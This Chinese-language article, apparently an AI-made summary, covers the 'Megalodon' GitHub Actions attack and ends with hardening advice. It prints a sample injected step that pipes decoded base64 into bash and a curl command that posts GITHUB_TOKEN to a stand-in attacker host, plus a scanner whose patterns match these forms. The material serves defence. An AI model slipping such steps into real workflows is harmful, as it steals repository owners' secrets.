Megalodon 攻击:5700+ 恶意提交如何通过 CI 工作流偷走你的密钥

2026-05-22 18 预计阅读时间:1 分钟
来源:oschina.net AI 摘要 原文链接

免责声明:本文为 AI 摘要整理,建议结合原文阅读。摘要可能省略上下文、版本差异或边界条件,不作为官方说明。

预计阅读时间:10 分钟

5月18日,超过5700个恶意提交同时涌入 GitHub 仓库,攻击者把 GitHub Actions 工作流里的正常步骤替换成 base64 编码的密钥窃取 payload——这就是安全公司 SafeDep 披露的"Megalodon"攻击。Tiledesk 的9个仓库、Black-Iron-Project 的8个仓库,以及数百个其他项目全部中招。这不是一次孤立的钓鱼,而是对 CI/CD 供应链的系统性入侵。

攻击是怎么展开的

攻击者的手法并不复杂,但很精准:

  1. 获取写入权限——通过被盗的 OAuth token、泄露的 collaborator 账号或仓库配置失误,攻击者拿到了目标仓库的直接推送权。
  2. 定位 .github/workflows/ 目录——找到现有的 CI 工作流文件(比如 ci.ymldeploy.yml)。
  3. 替换关键步骤——把原本的构建/部署步骤替换成一段 base64 编码的脚本,这段脚本在运行时解码并执行密钥窃取逻辑。
  4. 触发工作流运行——推送本身就会触发 on: push 事件,payload 自动执行,密钥被悄悄发往攻击者控制的外部服务。

整个过程不需要零日漏洞,不需要复杂的社会工程学——只需要一个能写仓库的账号和一个不设防的 CI 配置。

base64 payload 的伪装术

把恶意代码编码成 base64 是一种低技术但高效的伪装:

  • 代码审查时,肉眼看到的是一串看似随机的字符,不像可读的 shell 命令那样会引起警觉。
  • GitHub 的 diff 页面对长 base64 字符串的展示可读性极差,审查者很容易跳过。
  • 解码后的脚本通常很短:读取环境变量中的 GITHUB_TOKEN、自定义 secrets、AWS 凭证等,然后通过 curlwget 发送到远程端点。

一个典型的恶意步骤看起来像这样:

# 攻击者注入的恶意步骤(示意)
- name: "Setup environment"
  run: echo "ZXhwb3J0IFNFRUNSRVQ9JChn...长串base64..." | base64 -d | bash

解码后可能就是几行窃取脚本:

# base64 解码后的实际内容(示意)
export SECRET_VALUE="${GITHUB_TOKEN}"
curl -s -X POST https://attacker.example.com/collect \
  -d "repo=${GITHUB_REPOSITORY}&secret=${SECRET_VALUE}&runner=${RUNNER_OS}"

为什么 CI 工作流是完美目标

GitHub Actions 工作流天然拥有高权限:

  • GITHUB_TOKEN 自动注入——每个工作流运行时都会获得一个临时 token,默认权限取决于仓库设置,很多项目配置为 write 级别。
  • 自定义 Secrets 暴露为环境变量——secrets.DEPLOY_KEYsecrets.AWS_ACCESS_KEY_ID 等在运行时以环境变量形式存在,任何 run: 步骤都能读取。
  • 触发门槛低——on: push 意味着攻击者只要推送一个提交,工作流就会自动运行,无需额外审批。

更危险的是,很多项目的分支保护规则只覆盖主分支,对 devfeature 分支不加限制。攻击者往非保护分支推送恶意工作流修改,照样能触发运行并窃取密钥。

防御实践:让你的 CI 工作流更难被劫持

下面是一组可以直接落地的配置和检查命令。

1. 锁定 GITHUB_TOKEN 权限

在仓库或组织级别把默认权限设为 read,只在需要的工作流中按步骤显式提升:

# .github/workflows/ci.yml — 顶部设置权限
permissions:
  contents: read        # 只读仓库内容
  issues: write         # 仅在需要写 issues 的步骤中开放
  pull-requests: read   # PR 只读

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Run tests
        run: pytest

在组织级别设置(路径:Organization Settings → Actions → General):

Default permissions: Read repository contents permission
☑ Allow GitHub Actions to create pull requests — 仅在必要时开启

2. 对工作流变更强制审批

在分支保护规则中,把 .github/workflows/ 目录的变更纳入必需审查:

# 用 GitHub CLI 查看当前分支保护设置
gh api repos/{owner}/{repo}/branches/main/protection \
  --jq '.required_pull_request_reviews'

# 设置主分支保护:要求 PR 审查,且工作流文件变更需要额外审批
gh api repos/{owner}/{repo}/branches/main/protection \
  -X PUT \
  --field required_pull_request_reviews[dismiss_stale_reviews]=true \
  --field required_pull_request_reviews[require_code_owner_reviews]=true

同时在 CODEOWNERS 文件中指定工作流目录的负责人:

# CODEOWNERS
/.github/workflows/ @security-team @lead-dev

这样任何修改工作流的 PR 都必须经过安全团队或主开发审批。

3. 扫描工作流中的 base64 和可疑模式

用以下脚本定期扫描仓库中的工作流文件,标记可疑的 base64 编码步骤:

#!/bin/bash
# scan_workflows.sh — 扫描 GitHub Actions 工作流中的可疑模式
REPO_DIR="${1:-.}"
ALERTS=()

for wf in "$REPO_DIR"/.github/workflows/*.yml "$REPO_DIR"/.github/workflows/*.yaml; do
  [ -f "$wf" ] || continue

  # 检查 base64 解码执行
  if grep -nE 'base64\s+-d\s*\|\s*(bash|sh|eval)' "$wf" >/dev/null 2>&1; then
    ALERTS+=("⚠️  $wf: 发现 base64 解码后直接执行的模式")
  fi

  # 检查 curl/wget 向外部发送数据
  if grep -nE '(curl|wget)\s+.*(-d|--data|-X\s+POST)' "$wf" >/dev/null 2>&1; then
    ALERTS+=("⚠️  $wf: 发现向外部端点发送数据的 curl/wget 命令")
  fi

  # 检查环境变量直接拼接进外部请求
  if grep -nE 'secrets\.[A-Z_]+.*curl' "$wf" >/dev/null 2>&1; then
    ALERTS+=("⚠️  $wf: 发现 secrets 变量与 curl 命令同时出现")
  fi

  # 检查超长字符串(可能是编码 payload)
  long_lines=$(awk 'length > 200' "$wf")
  if [ -n "$long_lines" ]; then
    ALERTS+=("⚠️  $wf: 发现超过200字符的长行,可能是编码 payload")
  fi
done

if [ ${#ALERTS[@]} -eq 0 ]; then
  echo "✅ 未发现可疑模式"
else
  printf '%s\n' "${ALERTS[@]}"
  echo "❌ 发现 ${#ALERTS[@]} 个可疑点,请人工审查"
fi

运行方式:

# 扫描当前仓库
bash scan_workflows.sh .

# 扫描克隆下来的第三方仓库
git clone https://github.com/example/repo /tmp/repo
bash scan_workflows.sh /tmp/repo

4. 使用第三方安全扫描工具

在 CI 中集成专门的工作流安全扫描:

# .github/workflows/security-scan.yml
name: Workflow Security Scan
on:
  pull_request:
    paths:
      - '.github/workflows/**'

jobs:
  scan:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@v4

      # zizmor: 专门扫描 GitHub Actions 安全问题
      - name: Run zizmor
        uses: zizmorcore/zizmor-action@v0.1.0

      # CodeQL 也能检测工作流中的密钥泄露模式
      - name: CodeQL workflow scan
        uses: github/codeql-action/analyze@v3
        with:
          languages: actions

事后响应:如果已经被攻击了

如果你发现仓库的工作流被篡改:

# 1. 立即列出所有被修改的工作流提交
gh api repos/{owner}/{repo}/commits \
  --jq '.[] | select(.files[].filename | startswith(".github/workflows/")) | .sha'

# 2. 撤销所有被窃取的 secrets
#    在 GitHub Settings → Secrets 中逐个删除并重新生成

# 3. 检查 GITHUB_TOKEN 在攻击期间的权限日志
gh api repos/{owner}/{repo}/actions/runs \
  --jq '.workflow_runs[] | select(.created_at > "2025-05-18") | {id, name, status, conclusion}'

# 4. 回滚恶意提交
git revert <malicious-commit-sha>
git push origin main

检查清单

在 Megalodon 这类攻击面前,被动等待审查是不够的。以下清单可以帮助你系统性加固:

检查项 状态
组织/仓库默认 Actions 权限设为 read
所有保护分支启用了 CODEOWNERS 对工作流目录的审查
secrets.* 不在工作流的 run: 步骤中直接引用(使用 env: 映射)
分支保护覆盖所有长期分支,不只是 main
CI 中有自动化工作流安全扫描步骤
定期轮换仓库中的所有 secrets
外部协作者权限定期审计,移除不再需要的写入权

Megalodon 证明了:供应链攻击不需要天才级的技术,只需要目标仓库的权限配置足够松懈。把 CI 工作流当作生产环境一样保护——它确实就是。


相关推荐